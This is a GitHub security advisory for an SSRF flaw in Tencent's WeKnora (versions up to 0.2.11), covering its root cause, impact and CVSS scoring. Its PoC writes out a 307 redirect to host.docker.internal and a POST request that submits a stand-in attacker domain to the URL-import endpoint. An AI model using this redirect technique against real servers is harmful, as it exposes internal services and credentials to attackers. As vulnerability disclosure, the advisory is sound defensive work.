Skip to content

WeKnora is Vulnerable to SSRF via Redirection

Moderate severity GitHub Reviewed Published Mar 5, 2026 in Tencent/WeKnora • Updated Mar 9, 2026

Package

gomod github.com/Tencent/WeKnora (Go)

Affected versions

<= 0.2.11

Patched versions

0.2.12

Description

Summary

The application's "Import document via URL" feature is vulnerable to Server-Side Request Forgery (SSRF) through HTTP redirects. While the backend implements comprehensive URL validation (blocking private IPs, loopback addresses, reserved hostnames, and cloud metadata endpoints), it fails to validate redirect targets. An attacker can bypass all protections by using a redirect chain, forcing the server to access internal services. Additionally, Docker-specific internal addresses like host.docker.internal are not blocked.

Details

The /api/v1/knowledge-bases/{id}/knowledge/url endpoint validates the initial URL but follows HTTP redirects without re-validating the destination. This allows attackers to:

  1. Submit a URL to an attacker-controlled domain (passes validation)
  2. Have that domain respond with a 307 redirect to an internal service
  3. The backend automatically follows the redirect without checking if the destination is restricted
  4. The internal service response is exposed to the attacker

Validation Gaps

  • The IsSSRFSafeURL() function (in internal/utils/security.go) validates the initial URL thoroughly, but there's no validation of HTTP redirect targets
  • host.docker.internal is not in the restrictedHostnames list
  • Docker-specific IP ranges (172.17.0.0/16 for bridge networks) are not explicitly blocked
  • The code validates parsed.Hostname() from the initial URL, but redirect Location headers bypass this check

Root Cause Analysis

The backend makes the security mistake of trusting the server's HTTP client library to be secure. In Go, when using http.Get() or similar functions, the standard library will automatically follow redirects up to 10 times by default. The SSRF validation only checks the URL passed to the endpoint, not intermediate redirects.

PoC

Step 1: Set up an attacker-controlled server that responds with a redirect:

HTTP/1.1 307 Temporary Redirect
Location: http://host.docker.internal:7777
Content-Type: text/html
Access-Control-Allow-Origin: *

Step 2: Send the request with a clean URL:

POST /api/v1/knowledge-bases/dbadd153-9e60-4213-9553-9f78dbcba0dc/knowledge/url HTTP/1.1
Host: localhost
Content-Type: application/json
Authorization: Bearer <valid_token>

{"url":"https://attacker-domain.com","tag_id":""}

The URL https://attacker-domain.com passes all validation checks because:
✓ Valid https:// scheme
✓ Not an IP address (it's a domain)
✓ Not in restricted hostnames
✓ Doesn't resolve to a private IP (assuming attacker controls a public domain)

Step 3: The backend's HTTP client follows the redirect to http://host.docker.internal:7777, which:
✗ Is not validated
host.docker.internal is not in the blocklist
✗ Successfully accesses the internal service

Impact

Vulnerability Type: Server-Side Request Forgery (SSRF) via HTTP Redirect

Who is Impacted:

  • The organization running the application
  • Internal services and databases accessible from the application container
  • Services in the Docker network (other containers, internal infrastructure)
  • Sensitive data stored in internal services

Potential Consequences:

  • Access to internal databases (PostgreSQL, MongoDB, MySQL) running in Docker
  • Information disclosure from internal services (Redis cache, configuration servers)
  • Access to Docker container metadata and environment variables
  • Lateral movement to other containers in the same Docker network
  • Exfiltration of sensitive configuration, API keys, or database credentials
  • Potential RCE if internal services have exploitable vulnerabilities

References

@lyingbug lyingbug published to Tencent/WeKnora Mar 5, 2026
Published to the GitHub Advisory Database Mar 5, 2026
Reviewed Mar 5, 2026
Published by the National Vulnerability Database Mar 7, 2026
Last updated Mar 9, 2026

Severity

Moderate

CVSS overall score

This score calculates overall vulnerability severity from 0 to 10 and is based on the Common Vulnerability Scoring System (CVSS).
/ 10

CVSS v3 base metrics

Attack vector
Network
Attack complexity
High
Privileges required
None
User interaction
None
Scope
Unchanged
Confidentiality
High
Integrity
None
Availability
None

CVSS v3 base metrics

Attack vector: More severe the more the remote (logically and physically) an attacker can be in order to exploit the vulnerability.
Attack complexity: More severe for the least complex attacks.
Privileges required: More severe if no privileges are required.
User interaction: More severe when no user interaction is required.
Scope: More severe when a scope change occurs, e.g. one vulnerable component impacts resources in components beyond its security scope.
Confidentiality: More severe when loss of data confidentiality is highest, measuring the level of data access available to an unauthorized user.
Integrity: More severe when loss of data integrity is the highest, measuring the consequence of data modification possible by an unauthorized user.
Availability: More severe when the loss of impacted component availability is highest.
CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N

EPSS score

Exploit Prediction Scoring System (EPSS)

This score estimates the probability of this vulnerability being exploited within the next 30 days. Data provided by FIRST.
(3rd percentile)

Weaknesses

Server-Side Request Forgery (SSRF)

The web server receives a URL or similar request from an upstream component and retrieves the contents of this URL, but it does not sufficiently ensure that the request is being sent to the expected destination. Learn more on MITRE.

CVE ID

CVE-2026-30247

GHSA ID

GHSA-595m-wc8g-6qgc

Source code

Credits

Loading Checking history
See something to contribute? Suggest improvements for this vulnerability.